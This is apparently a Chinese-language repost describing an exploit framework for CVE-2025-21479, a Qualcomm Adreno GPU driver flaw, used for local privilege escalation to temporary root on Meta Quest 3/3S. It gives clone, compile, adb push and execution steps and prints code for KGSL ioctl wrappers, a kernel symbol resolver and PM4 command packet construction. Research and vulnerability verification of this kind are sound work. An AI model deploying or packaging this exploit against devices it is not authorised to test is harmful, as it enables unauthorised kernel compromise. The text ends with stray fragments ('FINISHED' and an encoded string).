Adreno GPU 内核漏洞利用框架 (CVE-2025-21479)

6 阅读5分钟

Adreno GPU 内核漏洞利用框架 (CVE-2025-21479)

本项目是一个针对高通 Adreno GPU 内核驱动漏洞(CVE-2025-21479)的利用框架。该项目基于 Google Project Zero 的 adrenalin 研究成果,实现了在受影响的设备上(如 Meta Quest 3/3S)进行本地权限提升(LPE)的技术验证。通过深入操作 KGSL(Kernel Graphics Support Layer)接口,该利用能够绕过内核内存保护,为安全研究和漏洞分析提供了宝贵的实战案例。

功能特性

  • CVE-2025-21479 漏洞利用:核心针对 Qualcomm Adreno GPU 驱动中的漏洞,实现对受影响设备内核的临时控制。
  • KGSL 接口深度操作:包含对 kgsl_drawctxt_createkgsl_map_user_mem 等关键 IOCTL 的封装与利用,突破 GPU 内存访问限制。
  • 内核符号解析:实现 kallsyms 解析器,可从内核镜像中动态定位关键符号地址,提高利用的通用性。
  • 临时 Root 权限获取:在受支持的固件版本上,成功利用后可获得设备的临时 root 权限。
  • 多平台支持:明确支持特定版本的 Quest 3/3S 设备,并提供针对不同内核版本的适应性代码。

安装指南

系统要求

  • 受影响的 Meta Quest 3/3S 设备,固件版本需在补丁版本之前(具体见上文“功能特性”中的支持版本)。
  • Android NDK(版本 26+)用于编译可执行文件。
  • 启用了开发者模式的设备。

编译步骤

  1. 克隆仓库

    git clone https://github.com/zhuowei/cheese.git
    cd cheese
    
  2. 使用 NDK 编译 项目提供了一个用于交叉编译的脚本或命令示例。确保你的 NDK 路径正确。

    # 示例编译命令(根据你的 NDK 路径调整)
    export NDK=~/Library/Android/sdk/ndk/26.1.10909125
    $NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android34-clang -o cheese cheese.c
    
  3. 推送到设备

    adb push cheese /data/local/tmp/
    adb shell chmod 755 /data/local/tmp/cheese
    

使用说明

基础使用示例

在目标设备上执行编译好的 cheese 二进制文件即可触发漏洞利用。

adb shell
cd /data/local/tmp
./cheese

典型使用场景

  • 安全研究:分析 Adreno GPU 驱动漏洞的利用技术。
  • 临时权限提升:在设备上获得 root shell 以进行更深层次的系统调试或数据备份。
  • 漏洞验证:确认目标设备是否受 CVE-2025-21479 影响。

核心 API 概览

框架的核心操作围绕 KGSL 驱动展开,主要通过封装后的函数与内核交互:

  • kgsl_ctx_create0: 创建一个使用特定 ringbuffer 的 KGSL 上下文,为后续利用做准备。
  • kgsl_map: 将用户空间的内存映射到 GPU 地址空间,实现用户与 GPU 的内存共享,是漏洞利用的关键步骤。
  • kgsl_ctx_destroy: 清理已创建的 GPU 上下文,用于恢复环境或处理错误。
  • cheese_kallsyms_lookup: 内核符号查找函数,用于定位内核中的关键函数地址。

核心代码

KGSL 上下文创建与内存映射

以下代码展示了如何通过 IOCTL 与 KGSL 驱动交互,创建 GPU 上下文并映射用户内存。这是利用漏洞建立内存读写能力的基础。

// 创建 KGSL 上下文,指定 ringbuffer 0
int kgsl_ctx_create0(int fd, uint32_t *ctx_id) {
    struct kgsl_drawctxt_create req = {
            .flags = 0x00001812, // 低优先级,使用 ringbuffer 0
    };
    int ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
    if (ret) return ret;
    *ctx_id = req.drawctxt_id;
    return 0;
}

// 将用户空间内存映射到 GPU 地址空间
int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr) {
    struct kgsl_map_user_mem req = {
            .len = len,
            .hostptr = addr,          // 用户空间地址
            .memtype = KGSL_USER_MEM_TYPE_ADDR,
    };
    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
    if (ret) return ret;
    *gpuaddr = req.gpuaddr;           // 获取 GPU 侧地址
    return 0;
}

内核符号解析器

为了在不知道内核确切布局的情况下找到关键函数,项目实现了基于 kallsyms 的符号查找功能,大大提高了利用的通用性和稳定性。

// 解压并解析内核符号表
static size_t decompress_string(uint8_t* p, const char* kallsyms_token_table,
                                const uint16_t* kallsyms_token_index,
                                char* output) {
    uint8_t count = *p;
    char* s = output;
    for (int i = 0; i < count; i++) {
        const char* token = kallsyms_token_table + kallsyms_token_index[p[i + 1]];
        size_t token_length = strlen(token);
        if (s) {
            strcpy(s, token);
            s += token_length;
        }
    }
    if (s) *s = 0;
    return (s - output);
}

// 在内存中查找特定字符串最后一次出现的位置
static void* memmem_last(const void* big, size_t big_len, const void* little,
                         size_t little_len) {
    for (const void* p = big + big_len - little_len; p >= big; p--) {
        if (!memcmp(p, little, little_len)) return (void*)p;
    }
    return NULL;
}

PM4 命令包构造

利用过程中需要向 GPU 发送特定的 PM4 命令包来触发漏洞。代码中内联了大量辅助函数,用于正确构造这些命令。

// 计算奇偶校验位,用于构造类型7的命令包
static inline uint pm4_calc_odd_parity_bit(uint val) {
    return (0x9669 >> (0xf & ((val) ^
                              ((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^
                              ((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^
                              ((val) >> 28)))) & 1;
}

// 构造类型7的命令包头部
static inline uint cp_type7_packet(uint opcode, uint cnt) {
    return CP_TYPE7_PKT | ((cnt) << 0) |
           (pm4_calc_odd_parity_bit(cnt) << 15) |
           (((opcode) & 0x7F) << 16) |
           ((pm4_calc_odd_parity_bit(opcode) << 23));
}

// 生成一个等待 GPU 空闲的命令
static inline uint cp_wait_for_idle(uint *cmds) {
    uint *start = cmds;
    *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
    return cmds - start;
}
```FINISHED
6HFtX5dABrKlqXeO5PUv/4gtRWtPUAtlhlAdZXVIacM=